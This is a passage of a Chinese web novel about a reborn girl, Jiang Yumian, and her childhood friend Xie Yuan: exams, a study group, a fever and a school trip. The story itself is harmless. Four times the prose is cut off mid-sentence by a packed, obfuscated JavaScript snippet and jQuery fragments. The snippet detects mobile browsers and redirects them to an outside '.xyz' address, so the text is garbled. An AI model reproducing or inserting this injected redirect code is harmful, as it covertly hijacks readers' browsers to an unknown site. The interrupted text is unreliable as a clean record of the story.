RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543540|171100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“怎么不把头发吹干?”用毛巾的角抹掉谢渊手上的水。 “你看这俩孩子,把我们都当空气呢。”于敏捂着嘴笑了一声,“青青你还记得不?他俩上幼儿园的时候我家年年非要黏着眠眠午睡,谁来劝都不行,幼儿园老师都没办法了,只好把她俩安排在一块。当时我还和你说呢,要不直接订个娃娃亲算了。” 江逾眠心动了一下。 “可不嘛,后来你又说感情这东西不能强求,俩孩子那么小还什么都不懂呢,就没后文了嘛。”刘青和于敏在来的路上聊了一路,好像找回了之前两人无话不说的状态,不再拘谨。 “不过俩孩子是咱们看着长大的,要不是我对她们两个都熟悉,还以为她们已经谈上了呢,看看,空气中都要冒粉泡泡了。”看着江逾眠用毛巾给谢渊擦头发那力度。 “……眠姐要不我自己擦吧,我怕你擦完我就秃了。”谢渊按住江逾眠的手腕,原本有些旖旎的气氛一下子就散了,江逾眠的手顿住,有点无措。 恰好包间门开了,服务员端着盘子来上菜,僵局被打破。 江逾眠不动声色地收回手,神色略带懊恼,只好夹一筷子菜放谢渊碗里当赔罪了。 从那天两家人一起吃完饭之后,谢渊又恢复了原来的样子,也不别扭了,不知道在心里想了什么把自己哄好了,只不过他还挺忙要一边好好复习一边兼顾舞蹈和声乐,忙得像个滴溜转的小陀螺,没办法一些好的老师只有在假期时间才会安排一些一对一的技巧课。 不过两人在飞信上聊了很多,有一次谢渊两节课中间时间太短,谢父谢母还没有时间,江逾眠特意打车去给他送了顿爱心午餐。 而且更令人欣喜的是,江逾眠还没想好怎么旁敲侧击让自己爹注意饮食保护肠胃,刘青就因为体检那天于叔的话开始看一些保养和饮食搭配的书,难题一下子就解决了。 果然,重生之后连运气都变好了呢! [眠姐(头发收割者):明天就要考试了哦,今天早点休息。:)] [年年(旋风小陀螺):知道啦~] 考试那天,江逾眠在第一考场靠墙最后一个,而谢渊则是在第五考场第一个,一个靠近后门,一个靠近前门。 第一科是语文,拿到卷子那一刻江逾眠就觉得不好,这些天光把时间用在理科上了,才发现语文变成了横在面前的大山,那什么古诗文背诵还可以靠这几天的复习背诵填一填,那文言文和阅读理解她真的不理解了。 还记得前世后来有一个特别著名的梗。 请问鱼眼睛代表了作者的什么心情?答表现了什么什么巴拉巴拉她没记住。但是原作者的回复是——我当时只是饿了,这鱼眼睛就长那样,哪表现什么心情啊。 江逾眠现在就是后悔,非常后悔,为什么不多背几条阅读理解万能答案,好歹还能踩点分。 而谢渊那边则是完全得心应手,语文可是他的强项,心情那叫一个春风拂面。 5. 第五章 考完试经过简单的修整和挑灯夜读补作业的一晚就迎来的新的一天。 不巧串休上周一的课,第一节就是老班的语文课,她早到了几分钟。 “大家作业都交得自觉点啊,别让课代表一遍遍催。”颜霞进来就把答题卡往桌子上一放,拿起带来的水杯喝了一口。 “看老班脸色不太好啊,完了。”前桌的男生吕嘉捂着嘴小声问刘天琪,“咱们语文什么情况?你昨天有打探到什么不。” “不好说,反正不太乐观啊。”刘天琪一脸高深莫测,据她所知,这次有个学霸大翻车,好在有另外几个偏科战神超常发挥,平均分不算太难看。 “我念到名字的上来取卷子,谢渊136,很好啊,是全年级最高分,尤其是作文,建议大家传阅一下,好好学习一下人家的措辞和举例论证。” “作文拿这张重新抄一遍,下午第一节下课前交上来当优秀范文展出。”颜霞把答题卡和作文纸递给自己的得意门生,一脸慈祥,看着谢渊乖巧应声的样子,怎么看怎么满意。 “……” “咱们有几位同学这次考试成绩也是相当‘亮眼’啊。江逾眠94,来,我仔细看看。” 颜霞假装拿手擦泪,“是哪个狠心人数学、英语接近满分,诗词默写五个错仨啊,怎么滴,这古诗是没有你喜欢的吗?” 江逾眠拿过答题卡,没敢抬头。 颜霞:“呦,知道不好意思啦,这几篇古诗词一个抄五遍,下午交我办公室。还有这作文我都不好意思说你,沃德洛夫斯基,这谁?行了下去吧,看到你答题卡我脑瓜子都嗡嗡的。” “好的老师。”江逾眠悄么声退下,恨不得把自己存在感降低到地缝里。 可惜班级一共39人,恰好有一个没同桌,那个人还正好是江逾眠。 “眠姐,你这回怎么回事?控分啊?”刘天琪没回头,身子向后靠从牙缝里挤出声音,“难道是赶潮流想体会一下成绩一点点进步的感觉?” “你可消停点吧,你这次就考得很好吗?”江逾眠咬牙,后悔得肠子都要青了。 “很好啊,比上次高二十分呢。”刘天琪无辜。 “……”你可闭嘴吧,没一句我乐意听的。 这次月考难度比较大,可能是怕放假学生心放散了给人一个下马威,也可能是单纯换了个老师出卷子对难度的认知与学生不太统一。 总之这次学年整体成绩都比以往低,三班勉强保住了平均分第一,否则颜老师得更生气。 “这次的卷子就讲评完了,考得好与不好都算翻篇了,成绩有所起伏都是正常现象,往后的考试只会更多,大家调整好心态,等六月份高三生毕业离校,咱们整体搬到高三楼之后就算正式的准高三生,人生就这一次,高考也是同样,大家尽力而为别到了以后后悔。” “下课!”颜霞踩着下课铃走出教室。 “不是老班这话怎么听着这么伤感呢。” “嗯呢,可不,尤其配上毫不留恋地这踩铃转身。”女生拍拍刘天琪的肩膀,“咋滴,咱班要换班主任啊?” “你可拉倒吧,咱们入学的时候不就说过吗,非特殊情况不更换老师,咱物理老师不是因为不可抗力才换的吗。”另一个男生转过头插嘴。 “总不能是咱老班也怀了要休产假吧。”另一个女生调笑,“也不能啊,咱老班也没这功能啊。” “得得得,别瞎猜嗷。”刘天琪力挽狂澜把这不知道歪到哪里的话题拉回正轨,“她就装个逼,这会儿指不定因为正好讲完压铃在心里偷乐呢。” “哎,我听说咱们下周要去春游这事儿是不是真的?”第一个女生拽了旁边同学的椅子坐刘天琪旁边,刚才的话题就算过去了。 “你咋知道呢?咱们每年不是都六一出去吗?” “这不是六月初就高考了吗,咱们在他们离校之后就得搬高三楼去,搬过去了之后哪还能有好日子过,但是咱们学校不又提倡寓教于乐,及时放松嘛,所以就提前啦。” “还是马姐消息灵通啊。”旁边竖起来一个大拇指。 “哪有哪有,这不是之前去交作业听隔壁班班主任说的嘛。”被叫马姐的女生挠了挠头,“大琪子,你知道具体哪天不?” “我小声跟你们说,别告诉别人啊,要不老颜回家又得给我上课了。”几个人头挨着头小声蛐蛐。 春游。这事儿江逾眠也知道,她记得这次出去是最豪华的一次,学校选择了本市一个4A级风景区,学校包车包住宿一日游,任谁都得说一句大手笔,后来这次游玩还被记者报道了,成为了三中除成绩外的又一招生宣传项目,年年都被拉出来炫。 今天这一天江逾眠可以说是如坐针毡,语文化学生物全面滑坡,郝主任在大课间拉着她语重心长地谈了半小时,直到她胡编乱遭发誓自己只是状态不好,完全没有别的凄惨因素才作罢。 然后这次谈话就被刘天琪这个大喇叭给宣传出去了,连平时不太熟的同学都过来安慰了她两句,谢渊几次欲言又止,看她的眼神里充满了父爱。 不儿,她只是没考好又不是得了绝症。 下午的时候江逾眠和谢渊一起去了语文老师办公室,他交优秀范文;她交罚抄,然后被老师叫住了。 “你们觉得一对一学习小组这个制度怎么样,我看别的班用这个方法还挺管用的,六班这次平均分提升好几位呢。”颜霞把手里的作业本哒哒哒几声在桌面上敲平,收过两人的东西,把谢渊的在一边放好;江逾眠的塞脚边的纸袋里。 “……” “老师你还是问问同学们吧,我们也不能代表她们的想法啊。”谢渊摊开手表示爱莫能助。 “你呢?” “我听谢渊同学的。” “呦,行吧,你俩走吧。”颜霞选择啧啧啧。 三中一向奉行快乐教育, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543541|171100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把挖掘学生潜力、提升综合素养当作首要目标。所以学习氛围相对轻松,再加上三班这一群从高一就表现出了捣蛋潜质的学生,和新晋年轻教师颜霞作为班任,导致三班气氛更是活跃得没边,除了英语老师是老教师,其他老师都是能和学生打成一片的。 好在三班大多数学生自我约束能力较强,颜霞也不算费心。 但是这次考试有几个同学成绩下降严重,她也找机会了解了一下,寻思着找点什么办法能激励一下,这成绩快被超了,虽说开会的时候嘴硬,也还是有点着急的。 没过两节课,颜老师所谓的学习小组计划就落实了下来,老师打算班里先组五个组看看效果,于是选了这次成绩波动比较大的几人和优势学科相对互补的组了队。 江逾眠前桌正好一文一理结成了一组,江逾眠和谢渊同样被分成一组,其余也差不多是这样的分法。 这五个组被老师亲切地命名为三班试点小组,如果效果比较好就推行到全班;如果效果一般就地解散。 江逾眠记得上辈子是没有这一出的,果然重生这一蝴蝶还是煽动了它的翅膀,这种变化也不知道是好是坏,江逾眠不知道,但是就目前来看,她认为一切正在向好。 “年年,这两天找个时间帮我补补语文呗?之后请你吃饭。”江逾眠蹭到了谢渊旁边,把接好热水的杯子放到桌边。 她发现这几天谢渊不太爱喝水,嘴唇有点干涩,“喝点?” “嗯?甜的。”谢渊喝了一口,眼睛放光。 “我放了点蜂蜜和两片柠檬片。” “好喝!择日不如撞日,今天就补呗,趁着刚讲完有点印象。” "OK!水喝完,留到明天杯子就不好刷了。"谢渊的杯子是细长款的保温杯,要是留到明天她都不敢想。 “好啦,知道了,你怎么比我爸管得还多?”谢渊推推江逾眠的腰,“快走,我要学习!” 她们不知道这一幕又被拍了下来,而论坛里#逾渊的话题楼又被盖了不知道多少层。 —— 江逾眠放学后才听她爸说要出差他被寄存在谢家的事,把他送到高铁站又回家收拾了几天的衣物。自从上次在医院偶遇一起吃饭过后,谢父和江父又找回了之前密友的感觉,每天都聊天,好得像是能穿同一条裤子,有一次江逾眠看到了她爹的飞信,好家伙白白绿绿都翻不到头。 江逾眠收拾好坐地铁到谢家的时候天色已经黑了,谢父谢母在一楼看电视,看样子是有些困了。 “眠眠啊,你爸爸说他这几天出差,你就在这住几天,跟年年一起上下学,我让司机接送你们。”谢夫揉了揉眼睛捂着嘴打哈欠,说出的话有些含糊,“当自己家就行,我和你阿姨实在是太困了就先睡了。” “老谢,回去睡。”谢父把谢母拍醒,一起上了楼。 江逾眠拿起茶几上给自己留的杯子,轻车熟路地接满了水拿上楼。 6. 第六章 时针已悄悄转过数字十,窗外仍旧灯火通明,只有零星几家窗户暗着,江逾眠静静站在窗边看了一会儿,思绪渐渐飘远。 一阵悠扬的乐声打断了她的思考,江逾眠猛然回过神,转身回房放好书包后去找寻乐声的来源,在走廊的另一边有一间半掩着的房门,温暖的浅黄色灯光从窄窄的门缝中漏出一点,在地面上留下一小条长方形的光痕。 江逾眠上前轻轻敲门,缓缓推开。 巨大的占据一整面墙的镜子对面,少年穿着舞服随着音乐的节奏舒展身躯,像一株沾着露珠的鹤望兰,抬起的手腕上戴着一根红绳,因手臂的倾斜滑下一点。 鲜艳的红和细腻的白在灯光的映衬下越发明晰,少年随着音乐旋转,转头时脸上乍然绽放出明媚的笑,宛如一朵盛开的花,艳丽夺目。 他脚尖轻点,旋身到近前,手中飘带轻舞,腰身柔韧像是要半躺进江逾眠怀里,淡淡的香气被体温催发出来,在她抬起手想要抓住飘带一角时又轻巧躲过转身离开。 江逾眠将抬着的手放到鼻端,手上还残留着丝绸轻滑的触感和幽幽的香气,若即若离。 一曲终了,谢渊恰好停在舞室正中,额头上的汗恰好滴落,沿着脸颊滴到锁骨上,被一只手轻飘飘擦掉。 江逾眠愣在原地,上一辈子她从没看到过谢渊跳舞,只听说他在某一次拍戏时摔下马摔伤了腿骨之后再也没有跳过舞。 在谢渊死后,她曾细细从网络中找寻他的痕迹,可惜只找到了谢渊早期的练舞视频,很短的一段,画质也很模糊。她只从网友的只言片语中了解到他舞蹈很棒很有故事感,能将人带入一段美丽的故事,可她却没有实感。 如今亲眼所见才发现那些描绘完全不及眼前人的鲜活,没想到他沉浸在其中时原来这么美。 原来,她错过了这么多谢渊的人生。 “好看吧,嘿嘿。”谢渊朝江逾眠伸手,眯着眼睛笑眯眯的样子像一只骄傲的猫。 江逾眠回过神,用手里的毛巾给谢渊擦汗,这次她记得轻一点,毛巾划过额头、脸颊、脖颈和锁骨,少年乖乖站在原地仰着脸,眼睛亮晶晶的。 “很漂亮。”江逾眠的声音仿若叹息。 “就这?”谢渊有些不满意,“你夸夸我。” “怎么夸,年年大人教教我好不好,你知道的我语文不好。” “你说,谢渊沉鱼落雁、闭月羞花。”谢渊接过毛巾擦头发。 江逾眠从善如流还补了一句,“简直是仙子下凡。” “今天太晚了,反正你得在这住几天,明天本大人再临幸你吧。”谢渊伸出一只手给了江逾眠个眼神。 “遵命,谢大人。”江逾眠也乐得配合他演戏,后退半步,半蹲着用手臂接住了谢渊的手。 “啪。”最后一盏灯也被按灭,江逾眠躺在床上有些难以入眠,不知道是因为今天白天老师的连番轰炸;还是因为前几天买的一支股票莫名其妙跌停;还是因为…… 闭上眼睛,耳边残留着舒缓的乐曲,眼前则是明亮的舞室,谢渊脸上的笑格外清晰明媚,渐渐的那笑容变了样子,两人也越来越近,眼波流转间那氤氲的香气像是变成了一个小刷子用最柔软的枝节在江逾眠的心间来回轻扫,带来一阵绵久的痒意。 温热的呼吸,湿润粉嫩的唇瓣,轻轻摇晃的柔韧腰肢…… 江逾眠从梦中惊醒,脸上一片红晕,她怎么会做这样的梦,感受到身上微微的汗意和潮湿,不由得懊恼。 于是凌晨两点,江逾眠去冲了个冷水澡将身上的躁意压下,年轻的朝气蓬勃的身躯果然也有坏处。 第二天早上的时候江逾眠就感觉有点头疼,但她没放在心上,还以为是昨天半宿没睡导致。 等到上午大课间,她才感觉到不妙,脑子里像是有个装修队在敲敲打打,尤其是太阳穴处一锤八十时不时锤几下,手背放在脑门上才发现她好像是发烧了。 江逾眠发誓自己在高中时期装的跟头牛似的,还记得有一次流感班里病倒了一半,连颜老师都请假了,她反而跟个没事人一样一点感觉都没有,那时候还为了复习连熬三天大夜都精神抖擞。 而重生回来不过是用冷水冲了一次澡就发烧了,也是稀奇。 江逾眠嘴唇干涩,从鼻腔里呼出的气都是干热的,嗓子像是被小刀划了一下,只要一吞咽就会感到刺痛。 “哎妈呀,眠姐你修仙呢啊?你脑门上冒热气了都!”刘天琪回过头想要问江逾眠一道题,结果被她烧得通红的脸吓了一大跳。 “霍,都能煎鸡蛋了。”刘天琪伸手试了一下,“你坐这别动,我给你请假去。” 于是,谢渊给她接了满满一杯热水,前排的男孩给她匀了一片退烧药(上次发烧剩的),以及颜老师殷切的关心…… 十五分钟后,江逾眠坐上了颜老师的车,开往了最近的医院。 正正好好39度,颜老师陪着她开了吊瓶扎上针,语重心长:“逾眠啊,这次考试没考好没什么的,你不用心理负担太重。” 江逾眠欲言又止。 瞅瞅这可怜样,烧得话都说不出来了,她真没想到这孩子自尊心这么重,以后可得注意点。 “你自己在这打针可以不?用不用我叫个人过来陪你?” “不用了老师,我自己可以。”江逾眠笑笑,吃完退烧药之后她已经感觉好多了。 “行,你打完针自己打车回家吧,回家好好休息,如果明天还是不舒服,让你爸爸和我说一声。”颜霞看了眼手机,“我给你订了外卖,已经跟护士说好了,到时候给你送过来,我先回去上课,有什么事给我打电话。” 江逾眠微笑,目送颜老师离开。 [年年:你感觉怎么样?] [逾:吃完退烧药感觉好多了,等我打完针就回家,今天的笔记就麻烦年年大人了。] [年年:行……你晚上想吃什么放学前告诉我,我给你带回去。] 三个半时后江逾眠回到了谢家,实在是很久没有烧到这么高,那种从骨缝中透出的疲惫感令人难以抵抗,江逾眠只好顺从身体的意志爬到床上浅眠。 江逾眠是被额头上的触感唤醒的,睁开眼,床边放了个椅子,谢渊把作业放在床头柜上写,一只手伸过来摸摸她的额头。 床头柜有些小而且低,使得谢渊的姿势很别扭。 “你这样会不会腰疼?”嗓音沙哑,像是被砂纸打磨过。 “你醒啦!想喝水吗?”谢渊从地上拿起保温杯递给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543542|171100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江逾眠,“我爸熬了粥,放了菠菜和肉末,特别香,喝点?” “我感觉好多了。”把被子掀开,身上出了很多汗,已经退烧了。 “我给你拿上来呗。”谢渊从椅子上起来,“嘶——” 江逾眠伸手捂在谢渊的后腰上,配合着略高的体温沿着肌理揉了揉,末了捏了一下谢渊的侧腰,轻轻拍拍。 “太瘦了,走吧,下楼吃饭。”睡完一觉,江逾眠感觉神清气爽,头昏脑涨的感觉逝去反而感到清爽。年轻的朝气蓬勃的身体还是很好的! 谢渊顺手把校服外套披在江逾眠身上。 “有点短。” “将就吧你。”看样子是好多了。 “怎么样眠眠?退烧了吗?”于敏端着砂锅从厨房出来,“别碰别碰,躲开点,烫。” “于叔让你费心了,我没事,已经好了,真的。” “那也得好好休息,明天是不是还有针?” “嗯,还有两天的,我放学过去打针就行。” “行,巩固巩固,让年年陪你去。” “多喝点,生病了就要多吃才能好的快。” “让你费心了于叔,我真好了。”江逾眠实在推辞不了,结果于敏递过来的又一碗粥,在两双眼睛的‘监视’下,艰难咽下最后一口。 —— 半夜的时候,谢渊不知道为什么想到了之前江逾眠做噩梦梦游到他门口的样子,听说人在生病的时候会更容易做噩梦。 不知不觉,谢渊走到了江逾眠门口,抬起手还没敲,门就已经往里打开了。 不是我开的,是它自己开的哦。 于是,谢渊轻手轻脚走了进去,不忘反手关上房门,走到江逾眠床边,太黑了,什么都看不见。 只好打开床头柜上的小夜灯。 希望不要被吵醒,谢渊在心里祈祷。 其实江逾眠在谢渊推开门的时候就已经醒了,她今天白天睡了太久,这时候并不困,再加上前世噩梦缠身睡眠质量不算好,重生后也没有太大改善,有一点风吹草动就会醒来。 谢渊站在床头没动,江逾眠只能感受到一道存在感极强的视线落在她的脸上、身上。 在江逾眠忍不住想要装作刚醒的时候,她感受到了温热的触感落到额头上,又翻过来整个贴住。 男生的掌心柔软带着淡淡的香橙沐浴露香气,和她身上的味道很相似却略有不同,更加柔和泛着甜。 当手掌拿开,江逾眠鬼使神差地抓住了谢渊的手腕,一个用力将人带上了床,另一只手臂紧紧环住了男孩的腰,嘴里低低呢喃着什么。 谢渊挣了挣,没有挣开,只好踢开拖鞋,努力伸手拽了一点被子盖在腰腹上,认命般闭上眼睛。 没过多久,谢渊的呼吸就变得平缓,像是小时候那样头靠在江逾眠的颈窝双手蜷缩放在胸口。 江逾眠稍微松开手臂,支撑起上半身,视线落在谢渊的脸上,他的睡颜很恬静,和小时候那个哭着吵着要和眠眠姐姐一起睡的委屈小包子重合在一起。 江逾眠忍不住弯起唇角无声的笑了,和小时候一样可爱。然后拉起被子给人盖好,伸长手臂关掉床头灯,将人紧紧嵌入怀中,在细微的香气中安然闭上双眼。 7. 第七章 江逾眠这一晚可以称得上重生以来睡得最踏实的一晚。每当那些血腥阴冷的画面想要沿着背脊爬进梦中的时候,怀中温热柔软的身躯就会像是新生的太阳一点点、一点点驱散阴霾与颤栗。 谢渊比江逾眠醒得要早些,迷迷糊糊中伸手摸索想要找出手机看一眼时间,结果被紧紧拦在胸前的的东西挡住了动作。 他有些茫然地张开手掌又攥紧拳头,来回了几次,却不小心碰到了柔软有弹性的东西,这下他彻底醒了。 意识到自己摸到了什么后,谢渊像是被烫到般收回手,在极小的动作空间中将手压到了自己身下,耳侧白皙的皮肤瞬间被粉红色替代,又挣了几下,感觉自己像是被放上蒸笼的虾子,只能眼睁睁看着自己一点点变红却无法逃离。 ?怎么这么紧?难道眠姐是八爪鱼转世吗? “时间还早,再睡一会儿。”江逾眠半梦半醒中伸手揉了一把谢渊的头发将人按在颈窝处又轻轻拍背哄着,手上使了点劲将人搂得更紧些。 又低又柔的声音在耳畔炸响,谢渊想要揉一揉耳根。 “不早了,还要上早自习。”谢渊的声音闷闷的,虽然他并不知道现在到底是什么时候,但是他迫切地想要离开这个温暖得令人心间颤抖的怀抱。 谢渊突然感受到面前人胸腔一阵震颤,他抬起头望进江逾眠漆黑的眼睛,像是要被其中幽深的旋涡吸进去。 江逾眠声音低低的,带着愉悦的笑意,“耳朵好红啊,宝宝。”修长的手指覆盖住谢渊的后颈,微凉,令他忍不住抖了一下。 “你……你别说话,快起!”小谢虚张声势,实际上,脸还紧紧埋在肩窝里不敢抬起来,不然他会让江逾眠知道什么叫比猴屁股还红。 江逾眠定的闹钟响起,细雨绵绵滴落的声音落入耳中,她才回过神来,不是她做了个美梦。 而是美梦中的那个人过来找她了。 窃喜的情绪过去,她才发觉自己似乎有些过于冒昧了,可是看到谢渊装鸵鸟的样子,还是忍不住轻笑。 江逾眠松开手起身,走进洗漱间轻轻关上了门。 而谢渊在揉了揉脸之后朝着被子打了一套军体拳,穿上鞋悄悄溜走了。 心虚,但不知道为什么。 二十分钟,两人又在房间门口相遇。 “这次不会又躲我吧?”江逾眠先发制人。 “谁……谁躲你了?”谢渊眼睛滴溜转,就是不敢看江逾眠的眼睛,但是仔细想想明明自己只是好心去看她怕她烧糊涂了,结果怎么就被拉上了床还睡得那么香。 不是他的错!他为什么要心虚! 谢渊回过味来了,叉起腰瞪了江逾眠一眼。 “我的错,我的错,今晚请你吃火锅赔罪怎么样?”江逾眠抬起手投降,眼中的笑意越发深重。 “不行,你得吃清淡的。” “那我看着你吃,我在旁边喝粥吃咸菜当惩罚怎么样?” “这还差不多。” 谢渊松了一口气,他总觉得从不知道哪天起,江逾眠的眼中就压着一层阴霾,这层阴霾像是一把朝内的剑,不伤人只伤己,只要在有人的地方她就会情绪狠狠压进心底,只有一次在她发呆时被谢渊看到了那眼中黑沉的痛一闪而逝。 谢渊不知道那是因为什么,只是在她转过头看着他时露出一个大大的笑脸,装作什么都没有看到的样子。 他想,也许江逾眠在思念什么人,再也无法回来的人,他无法感同身受,只能用最饱满的情绪来应对,快乐是能传染的,希望她能快乐。 而今天,他深深的意识到,那压在江逾眠眼底心间的黑云散去了,也许是她释怀了吧?也许? “同学们,有一个好消息,春游时间定了,这周六周日!”班级小灵通崔锦站在讲台上宣布。 “然后呢?坏消息是什么?” “坏消息是咱们每个人要出一部分钱。”崔锦摊手,这次要是全是学校包揽,那得出一大波血。 崔锦是文娱委员常年混迹在学生会和广播站,每当有什么和娱乐沾边的活动,他总是最先知道消息,比如文艺晚会啦,跨年活动啦之类的,他会参与进这些活动的策划当中,然后把消息最先透露给三班同学。 “这次是南山那边新开发出了一个度假区,还没正式营业,想要邀请一些年轻人去游玩测评,正好咱们学校每年春游时间就在这附近,学校就商量和南山开发负责人那里定了一批名额,但是价格虽说有优惠也不可能全免,毕竟景区要维护,工作人员要吃饭。” “但是但是,学校包揽咱们的食宿和交通费用,只需要交景区的游玩费用,每人80,一票全包,可以玩两天!” “本次春游实行自愿参加,想参加的明天把钱交给我就行,不想参加的同学可以在家里休息两天。” “小灵通,交飞信行不行?”第二排女生举起手。 “最好不要。”崔锦瞪了她一眼,“如果非要,请今晚给我转账我明天多带一份现金,超过五个人我就带不了了啊,我存下来的私房钱就那么点。” “哈哈哈哈哈。” “放心,肯定带现金,让你保住你的小金库!” —— 周六早上九点,一群原本穿着校服的学生换上自己的衣服在学校操场,形成一片花花绿绿的□□。 “还是老班心疼我们,看咱们周末春游两天没留语文作业。” “啊——作业也太多了,要是玩得太开心太累回家写不完作业怎么办啊!” “真羡慕留在家里的人,她们肯定可以把作业写完。” “嘿嘿,你看这是什么?”有一个同学从书包里掏出一打卷子。 “作业!我的天,你这也太老奸巨猾了!给我写两张!” “不给,你自己没带你怨谁?” “我也带了,嘿!” “不是,你们怎么回事啊,不是出来玩的吗?怎么带作业出来啊?”刘天琪一脸问号,她书包里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543543|171100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全是零食,还带了两瓶饮料。 她怕景区里物价太贵,所以带了一包吃的,毕竟学校肯定只能包正餐,要是嘴馋了就得自己买,还不如自己带吃不完的还可以转卖给同学,只需要费小刘一双肩膀,怎么想都是赚! “都排好队啊,看清车牌号,一个个上。诶诶诶,那边哪个班的,别挤!踩踏事件的危害没听说过吗?”郝主任拿着个通红的大喇叭,风吹起他额头上仅剩的几根头发露出光亮的脑门。 “说她没说你啊,都排好队!” 这次春游每个班级由一名老师带队,她们班班任由于私事没来,只能由化学老师顶上,要说之前对老师的印象,尤其是中年女老师那一定是死板严厉的。 但三班化学老师程枫可不一样,她身高一米八五,黑长直,身形挺拔,穿着一件藏青色长风衣配黑色马丁靴,再加上脸上架着一副墨镜,那更是帅得没边了,要是没张嘴,那妥妥的千亿少男的梦。 可惜,“臭丫头,你干啥嘞?” “咔嚓——”,江逾眠好像听到了无数少男的心碎声。 “不是,为什么,化学老师为什么会说话啊!”崔锦痛苦面具,前一秒帅姐姐看我,后一秒,你谁啊。 “瞅啥瞅啥?上车哇。”这宛如过山车般迷人的语调。 江逾眠刚刚去上了个厕所,回来的有些晚了,正好看到这一幕。 没多看,抬腿上了车,由于她是除了老师最后一个上车的,车上所剩的位置已经不多,但是她扫视一眼。 果然中间靠后的位置上,谢渊坐在靠过道,旁边拿书包占了个位置。 江逾眠笑了笑,走过去,拿过书包放到头顶的行李架上从侧面捞出水杯,谢渊往里串了串,她顺势坐下,拧开盖子,从衣服口袋里拿出一板药片。 “防晕车的。” 谢渊不情不愿接过扣出一粒就这水咽下去,嘴里的苦味还没有蔓延开就被淡淡的薄荷味取代。 “记得你爱吃,但只能吃这一个。一会儿要是还想吐的话,我这有话梅味儿的。” “啥呀,啥呀,给我一个。”刘天琪从两靠背间伸出脑袋。 “晕车药,你吃吗?”江逾眠伸手给她看。 “哦,不用了。”刘天琪撇撇嘴,哼,我要到论坛上吐槽! “给她一颗呗,我看你带了一袋呢。” “给她之后,别人都会要。”江逾眠靠到谢渊耳边小声说,“你看旁边那几双眼睛,跟饿狼似的。都给她们了,你就没有了。” “好吧。”谢渊揉了揉耳朵,扭头去看窗外,车下还剩几个班级没有完全上车。 “趁着离发车还有一会儿,你先眯一会看能不能睡着,路上要开三个小时呢。” 不知道是因为阳光正好还是因为吃了晕车药没有那么难受,谢渊原本没想睡,但是却在客车的摇摇晃晃中睡着了,脑袋在窗户上磕了一下,没醒,皱了皱眉换了个方向,脑袋一点一点最终靠在了江逾眠的肩膀上。 8. 第八章 司机驾驶技术很好,车辆行驶平稳,只有遇到减速带才稍微颠簸。 车程较长,窗外的景色又变化不大,没出一个小时大脑就发出困倦的信号,车上小半人已经陷入沉睡,只有少数头挨着头小声说话,像是白噪音。 江逾眠把外套盖在谢渊身上,也靠着椅背缓缓睡了过去。 “同学们醒醒神,我们快到地方了哦。”崔锦的声音轻轻柔柔的,将睡梦中的人唤醒。 本来程老师要叫来着,被崔锦眼疾嘴快拦了下来。 谢渊睁开眼,活动活动酸痛的脖子。 “我一直靠着你,你肩膀痛不痛啊?”谢渊回过神有些不好意思给江逾眠揉肩膀,只拿一根手指戳了戳。 这次吃了晕车药确实感觉不怎么难受了,只是喉咙处微微泛苦。 “没事,还好,我也睡着了。喝点水?” “一会儿到酒店,大家等我去拿房卡,之后把自己带来的行李放在房间里,房间大部分都是双人标间,有特殊情况和想要换房的提前说。” “餐厅在二楼,自助自选,吃完之后可以回房间休息一会儿,下午两点在大厅门口集合,咱班晚点走和别人班错开点。” “眠姐,我和你一间。”刘天琪挤过去第一个拿到房卡,拿到之后嘿嘿一笑,“506,但是只有一张,你拿着吧,你拿着我放心。” “手机别关啊!” “别挤,别急,都有。”化学老师仗着身高,把一堆房卡举过头顶,“都排好队,我念到名字的上来取。” “……” “谢渊。”最后一张,班级里男生一共十九人,两两一间恰好剩下一个人可以单独一间,这张房卡就落在了他手里。 “好了,想两两换房的自己商量好自己换,就住这一晚都消停点。” 江逾眠稍微思考,不动声色地把房卡塞刘天琪手里。 “诶,别给我啊眠姐,万一我回来太晚给你关屋外怎么办?” “没事,你不带手机了吗,到时候给你打电话。打不通我可以找前台。” “奥,那行。眠姐你真爱我。”刘天琪拿脑袋往江逾眠肩膀上蹭,被她后移一步避开了。 刘天琪撇了撇嘴,没过一会又跟插了翅膀似的,“同桌~”两个字拐出了山路十八弯。 